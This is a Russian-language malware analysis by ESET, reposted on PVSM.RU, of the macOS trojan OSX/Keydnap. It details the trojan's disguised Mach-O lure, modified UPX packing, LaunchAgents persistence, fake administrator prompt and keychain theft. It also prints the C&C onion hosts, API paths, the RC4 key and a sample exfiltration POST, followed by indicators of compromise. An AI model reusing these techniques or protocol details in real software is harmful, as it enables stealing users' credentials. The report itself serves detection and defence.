- PVSM.RU - https://www.pvsm.ru -

Вредоносное ПО OSX-Keydnap используется для кражи учетных данных на Apple OS X

Наши аналитики анализируют множество экземпляров вредоносного ПО для Apple OS X каждый день. В основном, они относятся к типу нежелательных приложений (Potentially Unwanted Applications, PUA), которые специализируются на внедрении рекламы в работающий веб-браузер.

Вредоносное ПО OSX-Keydnap используется для кражи учетных данных на Apple OS X - 1

Последние несколько недель мы занимались исследованием одного интересного экземпляра вредоносного ПО, которое специализируется на краже содержимого т. н. связки ключей OS X (keychain), а также выступает как backdoor, предоставляя злоумышленнику доступ к скомпрометированному компьютеру.

Нам не совсем ясно то, каким образом жертвы первоначально заражались OSX/Keydnap. Скорее всего, для этого использовались вредоносные вложения фишинговых сообщений электронной почты, либо вредоносное содержимое на нелегитимных веб-сайтах.

Мы знаем, что компонент загрузчика Keydnap распространяется в виде .zip файла. Архив содержит исполняемый файл формата Mach-O, с расширением похожим на .txt или .jpg. Однако, на самом деле, расширение файла содержит в конце имени символ пробела, что означает запуск файла на исполнения в терминале, после двойного щелчка по нему в оболочке Finder.

Вредоносное ПО OSX-Keydnap используется для кражи учетных данных на Apple OS X - 2
Рис. Архив с вредоносным файлом Keydnap и сам вредоносный файл.

Вредоносное ПО OSX-Keydnap используется для кражи учетных данных на Apple OS X - 3
Рис. Окно с информацией о файле загрузчика.

Упоминавшийся файл архива также содержит т. н. Resource fork [1] (поток ресурса), который хранит значок исполняемого файла. Используемый значок идентичен тому, который оболочка OS X (Finder) обычно использует для обозначения JPEG файлов изображений или текстовых файлов. Такой метод используется для повышения вероятности того, что пользователь выполнит двойной щелчок на файле. После того как это произойдет, OS X откроет окно терминала и исполнит вредоносную полезную нагрузку.

Вредоносное ПО OSX-Keydnap используется для кражи учетных данных на Apple OS X - 4
Рис. Предупреждение веб-браузера Safari, которое отображается пользователю в случае загрузки вышеупомянутого вредоносного файла архива.

Загрузчик Keydnap довольно прост, будучи запущенным он выполняет в системе следующие действия.

  1. Загружает и исполняет в системе компонент бэкдора.
  2. Перезаписывает содержимое файла загрузчика специальным документом-приманкой (decoy), либо перезаписывает его содержимым другого файла, которое закодировано с использованием base64. Этот другой файл или встроен в сам загрузчик или загружается из интернета.
  3. Открывает фальшивый документ.
  4. Закрывает окно терминала, которое было открыто.

После перезаписи загрузчиком исполняемого файла загрузчика документом-приманкой, он все еще будет присутствовать в архиве. Загрузчик не обеспечивает себе выживаемость в системе, в отличие от компонента бэкдора, который использует для этой цели директорию LaunchAgents.

Нами были обнаружено несколько вариантов исполняемых файлов загрузчика. Список его различных образцов можно найти в конце материала.

Интересно отметить, что мы наблюдали свежие образцы загрузчика, которые содержали документы-приманки, представляющие из себя скриншоты панели управления ботнета или номера украденных данных кредитных карт. Это говорит о том, что Keydnap предназначался для пользователей подпольных форумов или для security-ресерчеров. Файлы этих свежих образцов содержали в себе поле «build name» (номер сборки). При этом мы наблюдали три различных имени: elitef*ck, ccshop и transmission.

Вредоносное ПО OSX-Keydnap используется для кражи учетных данных на Apple OS X - 5
Рис. Пример изображения приманки.

Вредоносное ПО OSX-Keydnap используется для кражи учетных данных на Apple OS X - 6
Рис. Пример изображения приманки.

Вредоносное ПО OSX-Keydnap используется для кражи учетных данных на Apple OS X - 7
Рис. Пример изображения приманки.

Все файлы образцов бэкдора, которые мы наблюдали, имели название icloudsyncd. Файл бэкдора содержит в себе строку с версией, которую он отправляет на C&C-сервер. Мы наблюдали две его версии: 1.3.1 в мае 2016 и 1.3.5 в июне.

Файл упоминавшегося загрузчика не упакован и распространяется как есть, а вот бэкдор упакован с использованием модифицированной версии UPX. При этом отличие от оригинального UPX заключается в двух особенностях. Сигнатура «UPX!» в заголовке UPX замещена на «ASS7», а сам оригинальный код и разделы со строками зашифрованы посредством XOR со значением 0x01. Эта операция XOR применяется к содержимому файла после его распаковки и перед передачей управления вредоносному коду.

Вредоносное ПО OSX-Keydnap используется для кражи учетных данных на Apple OS X - 8
Рис. Отличия упакованной версии файла при использовании модифицированного UPX и оригинального.

Специальный патч для UPX доступен [2] на репозитории Github в разделе ESET. После его применения, файл с бэкдором Keydnap может быть распакован командой оригинального упаковщика UPX – upx –d.

После своего запуска в системе, бэкдор копирует файл plist в директорию /Library/LaunchAgents/ в случае присутствия у пользователя привилегий root или в директорию $USER/Library/LaunchAgents/ в противном случае. Это обеспечивает выживаемость бэкдора после его перезагрузки. При этом директория Library/Application Support/com.apple.iCloud.sync.daemon используется для хранения исполняемого файла icloudsyncd. В этой директории также будет храниться идентификатор запущенного процесса бэкдора в файле process.id, а также файл build.id с содержимым параметра «build name». Используя привилегии администратора, вредоносная программа также может изменить владельца файла icloudsyncd на root:admin и создать для него параметры setuid и setgid, что будет означать его последующий запуск с правами root.

Вредоносное ПО OSX-Keydnap используется для кражи учетных данных на Apple OS X - 9
Рис. Plist-файл вредоносной программы.

Для маскировки расположения своего вредоносного файла, Keydnap заменяет параметр argv[0] на строку /usr/libexec/icloudsyncd –launchd netlogon.bundle. Ниже представлен пример вывода команды ps ax на скомпрометированной системе.

$ ps ax
[...]
566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle
[...]

Результат вывода команды на зараженной системе.

Бэкдор OSX/Keydnap оснащен функциями сбора конфиденциальной информации паролей и ключей OS X keychain (связки ключей), а также отправки этих данных на удаленный сервер. На самом деле автор просто взял для своих целей пример PoC, который доступен на Github под названием Keychaindump [3]. Этот код специализируется на чтении памяти процесса securityd и выполняет поиск ключа расшифровки для доступа к связке ключей пользователя. Этот процесс хорошо описан в следующем исследовании [4]. Одной из причин, по которой мы думаем, что исходные тексты были взяты напрямую с Github является тот факт, что названия функций в исходных текстах и в коде вредоносной программы идентичны.

Вредоносное ПО OSX-Keydnap используется для кражи учетных данных на Apple OS X - 10
Рис. Список функций бэкдора, зеленым выделены функции из Keychaindump.

Keydnap использует Tor2Web прокси-сервис onion.to поверх HTTPS для общения с C&C-сервером. Мы наблюдали использование двух onion адресов в различных экземплярах бэкдора.

  • g5wcesdfjzne7255.onion (недоступен)
  • r2elajikcosf7zee.onion (доступен на момент написания материала)

URL-адрес HTTP-запроса всегда начинается с /api/osx/ и используется для выполнения следующих действий:

  • /api/osx/started для отправки отчета об успешном запуске бота;
  • /api/osx/keychain для отправки данных содержимого связки ключей;
  • /api/osx/get_task?bot_id={botid}&version={version} для запроса задачи;
  • /api/osx/cmd_executed для отправки отчета о команде, которая была исполнена;
  • /api/osx/task_complete?bot_id={botid}&task_id={taskid} для отправки статуса завершения исполнения задачи.

Содержимое запроса HTTP POST содержит два поля: bot_id и data. Последнее поле зашифровано с использованием ключа RC4 «u2RLhh+!LGd9p8!ZtuKcN» без кавычек. При отправке на удаленный сервер содержимого связки ключей бэкдор использует поле keychain вместо data.

Ниже показан HTTP POST-запрос, с использованием которого бэкдор отправляет первоначальную информацию на сервер.

POST /api/osx/started HTTP/1.1
Host: r2elajikcosf7zee.onion.to
Accept: */*
Content-Length: 233
Content-Type: application/x-www-form-urlencoded

bot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u...5TximyY%2BQY%3D

Ниже указаны декодированные данные, полученные бэкдором от управляющего C&C-сервера.

> rc4decrypt(base64decode(«psX0DKYB0u...5TximyY+QY=»), «u2RLhh+!LGd9p8!ZtuKcN»)
device_model=MacBookPro9,2
bot_version=1.3.5
build_name=elitef*ck
os_version=15.5.0
ip_address=4.5.6.7
has_root=0

Значение bot_id представляет из себя хэш SHA-256 следующих значений.

  • Аппаратный UUID (IOPlatformUUID).
  • Серийный номер системы (IOPlatformSerialNumber).
  • Идентификатор модели Mac (напр. MacBookPro9,2)

Большинство названий, выполняемых бэкдором операций, говорят сами за себя. Первоначальная команда используется для отправки следующей информации на управляющий C&C-сервер.

  • device_model: идентификатор модели устройства;
  • bot_version: версия Keydnap;
  • build_name: значение поля «номера сборки» (build number) загрузчика;
  • os_version: версия ядра OS X или macOS;
  • ip_address: внешний IP-адрес компьютера, который был получен с помощью ipify.org;
  • has_root: поле установлено в 1 в случае исполнения бэкдора под учетной записью root и 0 в противном случае.

Ответ на команду бота get_task содержит целочисленное значение, которое указывает на тип отправляемой боту команды и необязательные аргументы. Функция под названием get_and_execute_tasks работает с десятью различными типами команд, они указаны ниже в таблице.

Вредоносное ПО OSX-Keydnap используется для кражи учетных данных на Apple OS X - 11

Последние две команды, указанные в таблице, выделяются среди прочих. Команда с идентификатором 8 может быть отправлена бэкдору при том условии, что он еще не запущен под учетной записью root. После получения этой команды, бэкдор начнет подсчитывать количество запусков пользователем процессов в системе. Когда в системе в течение двух секунд запускаются два новых процесса, Keydnap покажет пользователю окно с запросом учетных данных пользователя. Это окно очень похоже на то, которое пользователь OS X видит при запросе приложением прав администратора. В случае ввода пользователем данных учетной записи, бэкдор будет работать под учетной записью root, а содержимое связки ключей будет похищено.

Вредоносное ПО OSX-Keydnap используется для кражи учетных данных на Apple OS X - 12
Рис. Код бэкдора, который подсчитывает количество запуска процессов пользователем.

Вредоносное ПО OSX-Keydnap используется для кражи учетных данных на Apple OS X - 13
Рис. Фальшивое окно с запросом учетных данных администратора.

Мы не знаем, каким образом исполняемый файл authd_service обрабатывается командой 9, так как мы не наблюдали использование этой команды ботом. Возможно, эта команда используется для организации третьего уровня атаки на цели, представляющие интерес для злоумышленников.

Заключение

У нас нет достаточно информации для того, чтобы сказать каким именно образом распространялся Keydnap. Мы также не знаем какое количество пользователей подверглось компрометации этим вредоносным ПО. Несмотря на то, что OS X имеет в своем составе специальные механизмы безопасности для блокирования вредоносной активности, фишинговые методы обмана пользователей могут помочь злоумышленникам обмануть пользователей с помощью фальшивого значка исполняемого файла Mach-O, что приведет к запуску в системе вредоносной программы.

Индикаторы компрометации (IoC)

Ниже представлены экземпляры загрузчика Keydnap, которые обнаруживаются антивирусными продуктами ESET как OSX/TrojanDownloader.Keydnap.A.

Хэш SHA-1: 07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148
Название файла: «info_list.txt »
Дата первой публикации на VirusTotal: 2016-05-09
URL-адрес загрузки компонента бэкдора: hxxp://dev.aneros.com/media/icloudsyncd
Тема фальшивого изображения или URL-адрес: часто задаваемые вопросы на собеседовании

Хэш SHA-1: 78ba1152ef3883e63f10c3a85cbf00f2bb305a6a
Название файла: «screenshot_2016-06-28-01.jpg »
Дата первой публикации на VirusTotal: 2016-06-28
URL-адрес загрузки компонента бэкдора: hxxp://freesafesoft.com/icloudsyncd
Тема фальшивого изображения или URL-адрес: скриншот панели управления BlackHat-TDS

Хэш SHA-1: 773a82343367b3d09965f6f09cc9887e7f8f01bf
Название файла: «screenshot.jpg»
Дата первой публикации на VirusTotal: 2016-05-07
URL-адрес загрузки компонента бэкдора: hxxp://dev.aneros.com/media/icloudsyncd
Тема фальшивого изображения или URL-адрес: скриншоты веб-браузера Firefox 20

Хэш SHA-1: dfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c
Название файла: «CVdetails.doc »
Дата первой публикации на VirusTotal: 2016-05-03
URL-адрес загрузки компонента бэкдора: hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd
Тема фальшивого изображения или URL-адрес: hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc

Хэш SHA-1: 2739170ed195ff1b9f00c44502a21b5613d08a58
Название файла: «CVdetails.doc »
Дата первой публикации на VirusTotal: 2016-05-03
URL-адрес загрузки компонента бэкдора: hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd
Тема фальшивого изображения или URL-адрес: hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc

Хэш SHA-1: e9d4523d9116b3190f2068b1be10229e96f21729
Название файла: «logo.jpg»
Дата первой публикации на VirusTotal: 2016-06-02
URL-адрес загрузки компонента бэкдора: hxxp://dev.aneros.com/media/icloudsyncd
Тема фальшивого изображения или URL-адрес: значок sanelite

Хэш SHA-1: 7472102922f91a78268430510eced1059eef1770
Название файла: «screenshot_9324 2.jpg »
Дата первой публикации на VirusTotal: 2016-06-28
URL-адрес загрузки компонента бэкдора: hxxp://freesafesoft.com/icloudsyncd
Тема фальшивого изображения или URL-адрес: скриншот панели управления ботнетом

Ниже представлена информация об экземплярах компонента бэкдора Keydnap.

Хэш SHA-1: a4bc56f5ddbe006c9a68422a7132ad782c1aeb7b
Название обнаружения ESET: OSX/Keydnap.A
URL-адрес управляющего C&C-сервера: hxxps://g5wcesdfjzne7255.onion.to
Версия бэкдора: 1.3.1

Хэш SHA-1: abf99129e0682d2fa40c30a1a1ad9e0c701e14a4
Название обнаружения ESET: OSX/Keydnap.A
URL-адрес управляющего C&C-сервера: hxxps://r2elajikcosf7zee.onion.to
Версия бэкдора: 1.3.5

Автор: ESET NOD32

Источник [5]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/blog-kompanii-eset-nod32/155946

Ссылки в тексте:

[1] Resource fork: https://en.wikipedia.org/wiki/Resource_fork

[2] доступен: https://github.com/eset/malware-research/blob/master/keydnap/keydnap_upx.patch

[3] Keychaindump: https://github.com/juuso/keychaindump

[4] исследовании: https://forensic.n0fate.com/wp-content/uploads/2012/07/Keychain-Analysis-with-Mac-OS-X-Memory-Forensics.pdf

[5] Источник: https://habrahabr.ru/post/305608/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best